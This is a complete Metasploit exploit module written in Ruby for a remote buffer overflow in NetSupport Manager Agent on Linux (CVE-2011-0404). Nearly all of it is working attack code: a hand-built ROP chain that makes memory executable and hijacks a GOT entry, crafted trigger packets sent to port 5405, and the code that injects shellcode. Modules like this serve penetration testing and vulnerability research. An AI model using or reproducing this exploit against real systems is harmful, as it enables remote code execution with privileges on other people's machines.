## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'NetSupport Manager Agent Remote Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in NetSupport Manager Agent. It uses a similar ROP to the proftpd_iac exploit in order to avoid non executable stack. }, 'Author' => [ 'Luca Carettoni (@_ikki)', # original discovery / exploit 'Evan', # ported from exploit-db exploit 'jduck' # original proftpd_iac ROP, minor cleanups ], 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2011-0404' ], [ 'OSVDB', '70408' ], [ 'BID', '45728' ], [ 'URL', 'http://seclists.org/fulldisclosure/2011/Jan/90' ], [ 'EDB', '15937' ] ], 'Privileged' => true, 'Platform' => 'linux', 'Payload' => { 'Space' => 0x975, 'BadChars' => "", 'DisableNops' => true, }, 'Targets' => [ [ 'linux', { 'Ret' => 0x0805e50c, # pop eax ; pop ebx ; pop ebp ;; 'Pad' => 975, 'RopStack' => [ ### mmap isn't used in the binary so we need to resolve it in libc 0x00041160, # mmap64 - localtime 0xa9ae0e6c, # 0x8092b30 - 0x5e5b1cc4, localtime will become mprotect 0xcccccccc, 0x08084662, # add DWORD PTR [ebx+0x5e5b1cc4],eax; pop edi; pop ebp ;; 0xcccccccc, 0xcccccccc, 0x080541e4, # localtime@plt (now mmap64) 0x080617e3, # add esp 0x10 ; pop ebx ; pop esi ; pop ebp ;; 0, 0x20000, 0x7, 0x22, 0xffffffff, 0, # mmap64 arguments 0x0, # unused 0x08066332, # pop edx; pop ebx; pop ebp ;; "\x89\x1c\xa8\xc3".unpack('V').first, # mov [eax+ebp*4], ebx 0xcccccccc, 0xcccccccc, 0x080555c4, # mov [eax] edx ; pop ebp ;; 0xcccccccc, #0x0807385a, # push eax ; adc al 0x5d ;; ### this is the stub used to copy shellcode from the stack to ### the newly mapped executable region #\x8D\xB4\x24\x7D\xFB\xFF # lea esi,[dword esp-0x483] #\x8D\x78\x12 # lea edi,[eax+0x12] #\x6A\x7F # push byte +0x7f #\x59 # pop ecx #\xF3\xA5 # rep movsd ### there are no good jmp eax so overwrite getrlimits GOT entry 0x0805591b, # pop ebx; pop ebp ;; 0x08092d68 - 0x4, # 08092d68 0002f007 R_386_JUMP_SLOT 00000000 getrlimit 0x1, # becomes ebp 0x08084f38, # mov [ebx+0x4] eax ; pop ebx ; pop ebp ;; 0xfb7c24b4, # become eb 0x01, 0x08054ac4, # 0x0805591b, # pop ebx; pop ebp ;; #0xffff8d78, # become ebx 0x788dffff, 0x2, 0x08054ac4, # 0x0805591b, # pop ebx; pop ebp ;; 0x597f6a12, 0x3, 0x08054ac4, # 0x0805591b, # pop ebx; pop ebp ;; 0x9090a5f2, 0x4, 0x08054ac4, # 0x0805591b, # pop ebx; pop ebp ;; 0x8d909090, 0x0, 0x08054ac4, # 0xcccccccc, 0x01010101, ] } ] ], 'DisclosureDate' => 'Jan 8 2011', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(5405), ]) end def exploit connect #pop_eax_ebx ; #0x8084662 # add DWORD PTR [ebx+0x5e5b1cc4],eax ;; triggerA = "\x15\x00\x5a\x00" + "\x41" * 1024 + "\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" triggerB = "\x25\x00\x51\x00\x81\x41\x41\x41\x41\x41\x41\x00" + "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00" triggerC = "\x37\x00\x03\x00\x0a\x00\x00\x00\x00\x00\x58\xb4" + "\x92\xff\x00\x00\x69\x6b\x6b\x69\x00\x57\x4f\x52" + "\x4b\x47\x52\x4f\x55\x50\x00\x3c\x3e" + #pleasure trail #"\xcc" + "\x90" + payload.encoded + "\xcc" * (target['Pad'] - payload.encoded.length) + [target.ret].pack('V') new = '' if target['RopStack'] new << target['RopStack'].map { |e| if e == 0xcccccccc rand_text(4).unpack('V').first else e end }.pack('V*') end triggerC << new triggerC << "\x00" * 4 triggerC << "\x00\x00\x31\x32\x2e\x36\x32\x2e\x31\x2e\x34\x32" triggerC << "\x30\x00\x31\x30\x00\x00" triggerD = "\x06\x00\x07\x00\x20\x00\x00\x00\x0e\x00\x32\x00" + "\x01\x10\x18\x00\x00\x01\x9f\x0d\x00\x00\xe0\x07" + "\x06\x00\x07\x00\x00\x00\x00\x00\x02\x00\x4e\x00" + "\x02\x00\xac\x00\x04\x00\x7f\x00\x00\x00" print_status("Sending A") sock.put(triggerA) select(nil, nil, nil, 1) print_status("Sending B") sock.put(triggerB) select(nil, nil, nil, 1) print_status("Sending C") sock.put(triggerC) select(nil, nil, nil, 1) print_status("Sending D") sock.put(triggerD) select(nil, nil, nil, 1) disconnect end end